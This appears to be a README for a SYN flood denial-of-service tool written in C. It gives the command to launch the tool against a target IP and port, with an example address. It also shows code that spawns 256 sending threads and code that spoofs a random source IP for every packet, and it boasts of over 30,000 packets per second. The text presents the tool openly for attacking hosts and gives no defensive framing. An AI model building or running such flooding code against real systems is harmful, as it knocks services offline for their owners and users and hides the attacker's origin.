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This is a TCP flooding program, which includes:

Readme.pdf

header.h   header.c.   header.o

synflood.c   synflood.o   synflood

In the synflood.c, we have a main function and a thread attack function. We need the command: "./synflood IP Port" to attack the given IP:Port. For example, if we use

./synflood 159.65.58.222 1234

This program will creat 256 threads and each thread will keep sending tcp package to the target.

```
pthread_t pthread[256];
for(int n=0;n<256;n++) pthread_create(&pthread[n], NULL, send_synflood, &fd);
return 0;
```

And in the same time, each package's source is totally random produced

```c
char source_ip[32];
source_ip[0] = '\0';
char buffer[4];
sprintf(buffer, "%d", rand() % 256);
strcat(source_ip, buffer);
strcat(source_ip, ".");
sprintf(buffer, "%d", rand() % 256);
strcat(source_ip, buffer);
strcat(source_ip, ".");
sprintf(buffer, "%d", rand() % 256);
strcat(source_ip, buffer);
strcat(source_ip, ".");
sprintf(buffer, "%d", rand() % 256);
strcat(source_ip, buffer);
iph->saddr=inet_addr(source_ip);
```

In only 1 second, the program will send 30000+ tcp pakages to the target.